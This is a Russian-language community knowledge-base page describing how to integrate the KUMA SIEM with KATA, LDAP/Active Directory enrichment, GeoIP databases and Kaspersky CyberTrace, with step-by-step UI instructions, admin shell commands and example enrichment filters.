# Интеграции

В данном разделе описаны инструкции по интеграции KUMA с различными системами

# Cheat Sheet по интеграциям KATA c KUMA

### Введение

В KATA версии 7.0 появились новые возможности и интеграции с KUMA. Данная статья направлена на упрощение восприятия данных интеграций, а также агрегации на одной странице всех инструкций по взаимодействию данных систем.

### Схема взаимодействия

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/Qooimage.png)

### Подробнее

<details id="bkmrk-%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-kata-alert"><summary>Что такое KATA Alerts?</summary>

Вкладка Alerts в веб-интерфейсе KATA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/9Pwimage.png)

</details><details id="bkmrk-%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-user-activ"><summary>Что такое User activity?</summary>

Вкладка Logs - User activity в интерфейсе KATA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/gjAimage.png)

</details>Как настроить отправку алертов и действий пользователей KATA в KUMA - [ссылка](https://kb.kuma-community.ru/books/podkliucenie-istocnikov/page/kata "KATA")

<details id="bkmrk-%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-edr-teleme"><summary>Что такое EDR telemetry?</summary>

Вкладка Threat hunting в веб-интерфейсе KATA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/Jkhimage.png)

</details>Как настроить отправку телеметрии EDR в KUMA - [ссылка](https://kb.kuma-community.ru/books/podkliucenie-istocnikov/page/kedr-51-telemetriia-edr-po-api "KEDR 5.1+ (Телеметрия EDR по API)")

<details id="bkmrk-%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-ndr-detect"><summary>Что такое NDR events?</summary>

Вкладка Network traffic events в веб-интерфейсе KATA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/10Oimage.png)

</details><details id="bkmrk-%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-ndr-audit%3F"><summary>Что такое NDR Audit?</summary>

Вкладка Logs - Audit в веб-интерфейсе KATA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/AM3image.png)

</details><details id="bkmrk-%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-ndr-applic"><summary>Что такое NDR Application messages?</summary>

Вкладка Logs - Application messages в веб-интерфейсе KATA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/5Yhimage.png)

</details>Как настроить отправку событий, аудита и сообщений NDR в KUMA - [ссылка](https://kb.kuma-community.ru/books/podkliucenie-istocnikov/page/katandr-70 "KATA/NDR 7.0")

<details id="bkmrk-%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-ndr-assets"><summary>Что такое NDR Assets?</summary>

Вкладка Assets в веб-интерфейсе KATA

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/wNhimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/wNhimage.png)

</details>Как настроить передачу активов, обнаруженных NDR в KUMA - [ссылка](https://kb.kuma-community.ru/books/integracii/page/import-aktivov-iz-katandr "Импорт активов из KATA/NDR")

# Обогащение

# LDAP-обогащение

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: [https://support.kaspersky.com/KUMA/3.2/ru-RU/217926.htm](https://support.kaspersky.com/KUMA/3.2/ru-RU/217926.htm) </p>

### <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" frameborder="0" height="315" src="https://www.youtube.com/embed/LX8-wcTzAqI?si=b4Vbszd2YtAtPyW6" title="YouTube video player" width="560"></iframe>



### Настройка параметров подключения к LDAP-серверу для версии &lt; 4.0  


Зайдите в веб-интерфейс KUMA с учетной записью Главного администратора или администратора тенанта, для которого необходимо настроить подключение к LDAP-серверу для последующего обогащения событий информацией об учетных записях.

Перейдите на вкладку **Параметры – LDAP-сервер** и нажмите на кнопку **Добавить параметры для нового тенанта**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/wx4image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/wx4image.png)

В открывшемся окне выберите **Тенант**, укажите **Интервал обновления в часах** и задайте **Время хранения данных**. Затем нажмите на кнопку **Добавить подключение**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/0Hiimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/0Hiimage.png)

В открывшейся вкладке задайте параметры подключения к LDAP-серверу:

1. Укажите **Название** подключения
2. В поле **Секрет** добавьте учетную запись пользователя для подключения к серверу Active Directory. Имя пользователя может быть указано в одном из двух форматов: &lt;user&gt;@&lt;domain&gt; или &lt;domain&gt;\\&lt;user&gt;
3. В поле **URL** укажите адрес одного или нескольких серверов LDAP (через запятую) в формате &lt;hostname или IP-адрес сервера&gt;:&lt;порт&gt;. Для незащищенного и startTLS подключения порт по умолчанию 389, для ssl – 636. В случае использования startTLS или ssl необходимо указывать hostname сервера, если сертификат сервера в поле SAN не содержит IP-адреса сервера.
4. Выберите **Тип** подключения.
5. Если на прошлом шаге был выбран тип **ssl** или **startTLS**, добавьте сертификат для проверки подлинности сервера в поле **Сертификат**. В случае, если для DC используется не самоподписанный сертификат, необходимо импортировать сертификат корневого центра сертификации.
6. *Важно! Сертификат самого DC должен содержать параметр DNS Name в поле SAN, соответствующий доменному имени данного сервера (если в URL был указан hostname сервера) или параметр IP Address в поле SAN, соответствующий IP-адресу данного сервера (если в URL был указан IP-адрес сервера).*
7. Задайте **Время ожидания в секундах** – период, в течение которого KUMA будет ожидать ответа от сервера контроллера домена.
8. В поле **База поиска (Base DN)** укажите базовое отличительное имя каталога, в котором должен выполняться поисковой запрос. Можно посмотреть в Панель управления\\Все элементы панели управления\\Администрирование - Редактирование ADSI.
9. При необходимости укажите **Пользовательские атрибуты учетных записей AD**, на основе которых вы хотите обогащать события учетными записями.
10. Убедитесь, что галочка для пункта **Выключено** снята и нажмите на кнопку **Сохранить** для сохранения параметров подключения к LDAP-серверу.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/hwIimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/hwIimage.png)

Нажмите на кнопку **Сохранить**. При необходимости нажмите на кнопку **Импортировать учетные записи** для немедленного импорта информации об учетных записях в KUMA.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/BrFimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/BrFimage.png)

На данном этапе настройка импорта информации об учетных записях в KUMA завершена. Настройка обогащения событий информацией об учетных записях KUMA рассматривается в следующем разделе.

---

### Настройка LDAP-обогащения  


*LDAP-обогащение настраивается на уровне коллектора и позволяет наполнить события информацией об учетных записях (атрибутах, импортированных из AD). На основе полученных атрибутов доступно выполнение реагирования AD и KASAP, а также написание правил корреляции по атрибуту memberOf. Остальные атрибуты, импортируемые из AD, служат справочной информацией и используются в расследовании алертов и инцидентов.*

Для настройки обогащения, перейдите в коллектор, события с которого необходимо дополнять информацией об учетных записях и перейдите на вкладку **Обогащение событий** и нажмите на кнопку **Добавить сопоставление с учетными записями LDAP**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/E5simage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/E5simage.png)

Нажмите на кнопку **Добавить домен** и введите полное наименовение домена в верхнем регистре. В случае, если обогащение было настроено для нескольких доменов, повторите процедуру необходимое количество раз.  
В случае, если вы не знаете полного наименования домена для импортированных учетных записей, подключитесь к компоненту Core KUMA по ssh и выполните команду:

```bash
/opt/kaspersky/kuma/mongodb/bin/mongo kuma --eval 'accounts.findOne({},{_id:0, domain:1});'
```

Либо:

```
/opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.findOne({"archived":false},{"domain":1})"
```

В результате выполнения команды будет выведен домен:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/pXvimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/pXvimage.png)

<p class="callout info">Для версий от 4.0 изучите [https://kb.kuma-community.ru/link/57#bkmrk-%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA-%D0%B1%D0%B0%D0%B7%D0%B5-%D0%B4](https://kb.kuma-community.ru/link/57#bkmrk-%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA-%D0%B1%D0%B0%D0%B7%D0%B5-%D0%B4) </p>

<details id="bkmrk-%D0%9A%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%B0-%D0%B4%D0%BB%D1%8F-%D1%8F%D0%B4%D1%80%D0%B0-%D0%B2-%D0%BA"><summary>Команда для ядра в кластере</summary>

Выполните команду на CP (Control Plane) для получения полного наименование деплоймента:

```bash
k0s kubectl get pods --all-namespaces
```

Получим следующий вывод:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/QWPimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/QWPimage.png)

Далее выполняем команду для монго в контейнере:

```
k0s kubectl exec --stdin --tty core-deployment-8659b48bb6-45grz -n kuma -c mongodb -- /bin/sh -c '/bin/mongo localhost/kuma --quiet --eval "db.accounts.findOne({},{_id:0, domain:1});"'
```

</details>Если используется несколько доменов, то можно воспользоваться следующим запросом (выведет список всех доменов):

```bash
/opt/kaspersky/kuma/mongodb/bin/mongo kuma --eval 'db.accounts.distinct("domain");' 
```

Настройте Обогащение полей KUMA на основе атрибутов AD. Для этого выберите **Применить сопоставление по умолчанию**, либо через кнопку **Добавить элемент** укажите атрибуты и поля KUMA.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/ZJBimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/ZJBimage.png)

Перейдите на вкладку коллектора **Проверка параметров** и нажмите на кнопку **Сохранить и перезапустить сервисы** для применения всех настроек.

  
На этом настройка обогащения LDAP завершена. В следующем разделе будут рассмотрены известные проблемы и пути их решения.

---

### Известные проблемы

<p class="callout info">С версии KUMA 2.1.3, LDAP идет после других обогащений. Править нормалайзер (что неудобно) не нужно, а достаточно сделать правило обогащения, которое будет заменять EXAMPLE на EXAMPLE.LOCAL (если много разных доменов - можно сделать обогащение через словарь), чтобы все NetBIOS названия менялись на DNS названия доменов.</p>

В некоторых событиях журналов Windows вместо DNS-имени домена может присутствовать NetBIOS-имя домена, которое не будет совпадать с DNS-именем домена, импортированных в KUMA учетных записей. Например, DEMO вместо DEMO.LAB.

Данная проблема решается доработкой нормализатора Windows.

Для этого откройте на редактирование используемый нормализатор Windows и перейдите в **Основной парсинг событий – Обогащение**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/xTCimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/xTCimage.png)

Пролистайте раздел до кнопки Добавить обогащение и нажмите ее.

Задайте **Тип источника – событие, Исходное поле – SourceNtDomain**, Целевое поле – SourceNtDomain и нажмите на значок гаечного ключа рядом с исходным полем.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/q9Kimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/q9Kimage.png)

Нажмите кнопку Добавить преобразование. Выберите Тип преобразования replaceWithRegexp.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/xrPimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/xrPimage.png)

В левой части, в графе **выражение** укажите NetBIOS-имя домена в формате ^&lt;NetBIOS-имя&gt;$. В правой части, в графе **чем заменить** укажите DNS-имя домена. Нажмите кнопку **ОК**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/fuQimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/fuQimage.png)

Выполните аналогичные действия для поля **DestinationNtDomain**.

Сохраните нормализатор и выполните Обновление параметров сервиса для сервиса коллектора Windows.

---

### Проверка работы LDAP-обогащения  


Для проверки работы обогащения перейдите на вкладку События и выполните поисковой запрос:

```sql
SELECT * FROM `events` WHERE SourceAccountID !='' OR DestinationAccountID!='' ORDER BY Timestamp DESC LIMIT 250
```

В результате будут выведены события, обогащенные информацией об учетных записях.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/scaled-1680-/yGVimage.png)

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/scaled-1680-/0vPimage.png)

<p class="callout warning">В случае если проведенные выше действия не обогащают данные перезагрузите службу коллектора и снова проверьте обогащение</p>

<p class="callout warning">Если рекомендация выше не помогла, попробуйте указать только те домены которые есть в базе, иначе (если не помогло) попробуйте сделать обогащения по одному домену</p>


#### Подключение к базе данных для версии 4.0 и выше 

Чтобы подключиться к базе данных выполните команду:

`sqlite3  /opt/kaspersky/kuma/core/00000000-0000-0000-0000-000000000000/raft/sm/db`

чтобы просмотреть все таблицы выполните команду внутри СУБД ` .tables`

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-10/scaled-1680-/C3Oimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2025-10/C3Oimage.png)

Например, для просмотра учетных записей и соотношения их доменов в таблице аккаунтов, вы можете воспользоваться командой

`select domain, cn from accounts where domain is not null;`

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-10/scaled-1680-/v4rimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2025-10/v4rimage.png)

Для более подробной информации добавьте параметр, например, **member\_of** `select domain, cn, member_of from accounts where domain is not null;`

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-10/scaled-1680-/Scwimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2025-10/Scwimage.png)

# GeoIP-обогащение (Геоданными)

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: [https://support.kaspersky.com/KUMA/3.2/ru-RU/233257.htm](https://support.kaspersky.com/KUMA/3.2/ru-RU/233257.htm) </p>

<p class="callout info">Скачанная и конвертированная база (IP2Location) - [https://box.kaspersky.com/d/c77609e6f5bd463b8f56/](https://box.kaspersky.com/d/c77609e6f5bd463b8f56/) </p>

<p class="callout info">Конвертация mmdb файла базы в CSV для KUMA - [https://github.com/KUMA-Community/mmdb2kuma](https://github.com/KUMA-Community/mmdb2kuma) </p>

<p class="callout info">Российская база (требуется регистрация) - [https://geoip.noc.gov.ru/](https://geoip.noc.gov.ru/) </p>

### Скачивание БД

#### IP2Location

<div id="bkmrk-%D0%A7%D1%82%D0%BE%D0%B1%D1%8B-%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%B1%D0%B0%D0%B7%D1%8B-%D0%BD">Чтобы скачать базы необходимо зарегистрироваться. После регистрации и входа на сайт переходим по ссылке: [https://lite.ip2location.com/database-download](https://lite.ip2location.com/database-download) </div><div id="bkmrk-%D0%98-%D0%B2%D1%8B%D0%B1%D0%B8%D1%80%D0%B0%D0%B5%D0%BC-%D0%BD%D1%83%D0%B6%D0%BD%D1%83%D1%8E-%D0%BD%D0%B0">И выбираем нужную нам БД (есть для ipv4 и ipv6) и скачиваем.</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/bkhimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/bkhimage.png)

#### MAXMIND

<div id="bkmrk-%D0%A1%D0%BA%D0%B0%D1%87%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%91%D0%94-%D1%82%D0%B0%D0%BA%D0%B6%D0%B5-">Скачивание БД также доступно после регистрации. Также при регистрации проверяется соответствие выбранной странны и ip, с которого вы регистрируетесь. При этом при выборе страны отсутствует Россия. Возможно проблему можно решить через VPN.</div><div id="bkmrk--1">  
</div>---

### Конвертация БД

<div id="bkmrk--3"></div><div id="bkmrk-%D0%9F%D0%B5%D1%80%D0%B5%D0%B4-%D0%B8%D0%BC%D0%BF%D0%BE%D1%80%D1%82%D0%BE%D0%BC-%D0%B1%D0%B0%D0%B7%D1%8B-">Перед импортом базы ее необходимо конвертировать в формат, понятный KUMA. Для конвертации данных используется скрипт. Актуальный скрипт и команды запуска тут: [https://support.kaspersky.com/help/KUMA/2.1/ru-RU/233259.htm](https://support.kaspersky.com/help/KUMA/2.1/ru-RU/233259.htm) </div><div id="bkmrk--4">  
</div><div id="bkmrk-%D0%92-%D0%BF%D1%80%D0%BE%D1%81%D1%82%D0%B5%D0%B9%D1%88%D0%B5%D0%BC-%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B5-">В простейшем случае команда запуска выглядит так: </div><div id="bkmrk--5"></div>```powershell
python converter.py --type ip2location --input IP2LOCATION-LITE-DB11.CSV.ZIP --out geoip_ip2location.csv
```

<div id="bkmrk-%D0%9F%D0%BE%D1%81%D0%BB%D0%B5-%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0-%D0%BD%D1%83%D0%B6%D0%BD%D0%BE-">После запуска нужно подождать 20-30 сек и в случае успешной конвертации получим файл CSV:</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/9c0image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/9c0image.png)

<div id="bkmrk--7"></div>---

### Загрузка БД в KUMA

<div id="bkmrk-%D0%97%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B0-%D0%91%D0%94-%28%D0%BF%D1%80%D0%B5%D0%B4%D0%B2%D0%B0%D1%80">Загрузка БД (предварительно сконвертированной скриптом!) осуществляется по пути: **Settings - Common - GeoIP settings - Import from file**</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/a72image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/a72image.png)

<div id="bkmrk-%D0%9F%D0%BE%D1%81%D0%BB%D0%B5-%D0%B4%D0%BE%D0%B1%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D0%91%D0%94-">После добавления БД необходимо перезапустить все сервисы, где настроено обогащение по GeoIP (при выполнении тестов было достаточно выполнить reload, а не restart)</div><div id="bkmrk--10">  
</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/tIQimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/tIQimage.png)

<p class="callout warning">При импорте нового файла с данными GeoIP ранее добавленные данные перезапишутся (с созданием события аудита). Поэтому если нужно внести незначительные изменения для кастомизации сопоставления рекомендуется скачать текущую БД из интерфейса KUMA, после чего внести туда изменения и подгрузить обратно.</p>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/6lNimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/6lNimage.png)

---

### Обогащение GeoIP

<div id="bkmrk-%D0%92-%D0%BF%D0%BE%D0%BB%D0%B5-source-kind-%D0%B2">- В разделе **Ресурсы - Правила Обогащения** создаем новое правило
- В поле Source kind выбираем geographic data
- В поле Mapping geographic data to event fields выбираем поле события KUMA, в котором присутствует нужный для обогащения ip-адрес
- Здесь же выбираем Geodata attribute и соответствующее поле события KUMA Event field to write to
- Для GeoIP добавлены новые поля событий, но можно использовать любые

</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/NWFimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/NWFimage.png)

<div id="bkmrk--15">  
</div><div id="bkmrk-%D0%A1%D0%BE%D0%BF%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D0%BE-%D1%83%D0%BC%D0%BE">Сопоставление по умолчанию доступно, если в качестве источника IP выбрано одно из полей событий SourceAddress, DestinationAddress и DeviceAddress. </div><div id="bkmrk--16"></div><div id="bkmrk-%D0%9F%D1%80%D0%B8-%D0%B2%D1%8B%D0%B1%D0%BE%D1%80%D0%B5-%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D1%85-%D0%BF%D0%BE">При выборе других полей в качестве источника сопоставление по умолчанию не доступно.</div><div id="bkmrk--17">  
</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/AUpimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/AUpimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/t18image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/t18image.png)

<div id="bkmrk-%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80-%D1%82%D0%BE%D0%B3%D0%BE%2C-%D0%BA%D0%B0%D0%BA-%D0%B2%D1%8B%D0%B3">Далее нужно созданное правило выше закрепить в коллекторе в части обогащения. Пример того, как выглядит обогащенное событие:</div><div id="bkmrk--20">  
</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/E70image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/E70image.png)

---

### Формат файла CSV:

```
Network,Country,Region,City,Latitude,Longitude
10.0.0.0/8,Russia,Moscow,Butovo,,
192.168.0.0/16,Russia,SPB,Zelenograd,,
```

# Интеграция CyberTrace с KUMA

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: [https://support.kaspersky.com/help/KUMA/3.2/ru-RU/217924.htm](https://support.kaspersky.com/help/KUMA/3.2/ru-RU/217924.htm)</p>

<p class="callout info">Описание CyberTrace: [https://support.kaspersky.ru/datafeeds/about/13850?\_ga=2.203307089.1316632250.1728285594-385727687.1689681277](https://support.kaspersky.ru/datafeeds/about/13850?_ga=2.203307089.1316632250.1728285594-385727687.1689681277) </p>

<p class="callout info">Видеоматериалы CyberTrace: [https://rutube.ru/plst/1042259/](https://rutube.ru/plst/1042259/) </p>

<p class="callout info">Ссылка на актуальный дистрибутив CyberTrace : [https://support.kaspersky.com/datafeeds/download/15920#block0](https://support.kaspersky.com/datafeeds/download/15920#block0) </p>

### Системные требования для CyberTrace

Минимальные системные требования (обработка ~4K EPS): `8 vCPU; 20 RAM; 200 HDD`

- OC – Linux x64 (CentOS 7.x/8.x или RedHat 7.x предпочтительно, но зависит от стандартов и политик организации)
- RAM – как минимум 16 ГБ должно быть свободно для использования только СТ
- HDD – не менее 100ГБ доступных в /opt (без использования Retroscan, для продуктивного сервера потребуется около 1ТБ)
- Network – сетевой интерфейс 1Гбит/с со статическим IP

Подробнее: [https://support.kaspersky.com/help/CyberTrace/4.4/ru-RU/270383.htm](https://support.kaspersky.com/help/CyberTrace/4.4/ru-RU/270383.htm)

<p class="callout warning">Для загрузки фидов Лаборатории Касперского нужен доступ до [https://wlinfo.kaspersky.com](https://wlinfo.kaspersky.com) (TCP/443). Важно: **НЕ** должен подменяться сертификат (SSL inspection) на периметре при доступе к ресурсу. Для загрузки других фидов может потребоваться доступ, в зависимости от их размещения.</p>

### Установка CyberTrace на Linux

Распаковать загруженный архив:

```bash
tar -C /opt -xvzf CyberTrace-rpm.tar.gz --no-same-owner
```

Переход в папку установки:

```bash
cd /opt/cybertrace
```

<p class="callout warning">Учетная запись пользователя, выполняющего установку DEB|RPM-пакета, должна иметь права root.</p>

Запуск скрипта установки:

```bash
./run.sh install
```

Установка CyberTrace выполняется в каталог `/opt/kaspersky/ktfs`.

После установки DEB|RPM пакета скрипт установки автоматически запускает конфигуратор, в котором нужно прочитать и принять лицензионное соглашение (EULA). После этого выполняется запуск сервисов CyberTrace: cybertrace\_db и cybertrace.

Вход в веб-интерфейс по адресу **https://&lt;IP\_or\_Hostname&gt;,** УЗ по умолчанию **admin / CyberTrace!1**

<p class="callout info">Отключите фаервол на ОС или откройте доступ до нужных портов для работы CyberTrace </p>

### Настройка на стороне CyberTrace

<p class="callout info">Вход в CyberTrace по: **https://&lt;IP\_or\_Hostname&gt;**, пароль по умолчанию: **admin / CyberTrace!1**</p>

При первом входе после установки CyberTrace появится окно мастера первоначальной настройки (Initial Setup Wizard), в котором необходимо:

- Выбрать используемую SIEM-систему: в данном примере это KUMA
- Указать параметры подключения для используемой SIEM-системы: IP-адрес интерфейса сервера CyberTrace. В последнем поле указать IP-адрес интерфейса или Hostname сервера CyberTrace.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/FAhimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/FAhimage.png)

- Опционально указать настройки прокси-сервера
- Опционально импортировать файл лицензионного ключа и файл сертификата для возможности загрузки коммерческих потоков данных об угрозах
- Указать потоки данных об угрозах, использование которых планируется в Kaspersky CyberTrace.

Для завершения первоначальной настройки нажать **Close**.

<p class="callout info">После завершения первоначальной настройки рекомендуется изменить пароль администратора, используемый по умолчанию.</p>

Проверить успешность загрузки индикаторов компрометации можно следующим способом:

1. Перейдите во вкладку **Indicators** и убедитесь в наличии индикаторов компрометации
2. Перейдите во вкладку **Dashboard -&gt;** виджет **<span class="notion-enable-hover" data-token-index="1">Supplier statistics</span>** и проверьте, что столбец **Indicators** для каждого фида отличен от 0.

---

### Настройка на стороне KUMA

**Начиная с версии [3.2](https://support.kaspersky.com/help/KUMA/3.2/ru-RU/220925.htm)** в KUMA доступно 2 метода интеграции с CyberTrace для потокового обогащения событий данными об индикаторах компрометации:

1. С использованием API CyberTrace
2. С помощью Kaspersky CyberTrace Service

Для снижения нагрузки на CyberTrace рекомендуется использовать фильтр в обогащении (ресурс KUMA - Пароль импорта: `q123123Q!`) на правиле обогащении, пример фильтра из Community-Pack: [https://box.kaspersky.com/f/39a48398202543dbb9c9/](https://box.kaspersky.com/f/39a48398202543dbb9c9/)

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-10/scaled-1680-/igVimage.png)

#### Интеграция с использованием API CyberTrace

<p class="callout info">Данный метод позволяет отправлять большое количество объектов одним запросом на API-интерфейс CyberTrace. Рекомендуется применять в системах с большим потоком (&gt;50k EPS) событий. Производительность Сybertrace-http значительно превосходит показатели прежнего метода cybertrace, который по-прежнему доступен для обеспечения обратной совместимости.</p>

В веб-интерфейсе CyberTrace создайте новую учетную запись пользователя, которая будет использоваться KUMA для подключения к API CyberTrace. Для этого перейдите в раздел **Settings -&gt; Users**  и нажмите **Add new user**. В появившемся окне **New user** укажите следующие параметры:

- **Login** - &lt;имя учетной записи пользователя&gt;
- **Password** - &lt;пароль учетной записи пользователя&gt;
- **Confirm password** - &lt;пароль учетной записи пользователя&gt;
- **Role** - Analyst

Нажмите **Add**.

Далее в веб-интерфейсе KUMA создайте секрет для подключения к API CyberTrace: перейдите в **Ресурсы -&gt;** **Секреты** и нажмите **Добавить**. В появившемся окне укажите следующие параметры:

- **Название** - &lt;название секрета&gt;
- **Тенант** - &lt;название тенанта, например, Main&gt;
- **Тип** - credentials
- **Пользователь** - &lt;Имя пользователя, созданного на предыдущем шаге&gt;
- **Пароль** - &lt;Пароль, созданного пользователя на предыдущем шаге&gt;
- **Описание (опционально)**

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/GN8image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/GN8image.png)

Создайте правило обогащения в веб-интерфейсе KUMA: перейдите в **Ресурсы -&gt;** **Правила обогащения** и нажмите **Добавить**. В появившемся окне укажите следующие параметры:

- **Название** - &lt;название правила обогащения&gt;
- **Тенант** - &lt;название тенанта, например, Main&gt;
- **Исходный тип** - cybertrace-http
- **URL -** &lt;IP-адрес/FQDN сервера CyberTrace&gt;:443
- **Секрет -** &lt;секрет, созданный на предыдущем шаге&gt;
- **Ключевые поля -** &lt;поля, значения которых будут передаваться в CyberTrace на анализ. Как пример, укажите поля со скриншота ниже&gt;
- **Время ожидания -** 0
- **Максимальное кол-во событий в очереди обогащения** - 1000000
- **Описание (опционально)**
- **Параметры фильтра** - &lt;условия срабатывания правила обогащения. В качестве примера, ниже используется набор условий, при котором правило будет срабатывать для событий обращения внутренних IP-адресов к внешним IP-адресам&gt;

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/eNyimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/eNyimage.png)

Пример готового кода для добавления в правило обогащения:

```json
SourceAddress insubnet [
  '10.0.0.0/8',
  '172.16.0.0/12',
  '192.168.0.0/16'
]
AND NOT DestinationAddress insubnet [
  '10.0.0.0/8',
  '172.16.0.0/12',
  '192.168.0.0/16'
]
```

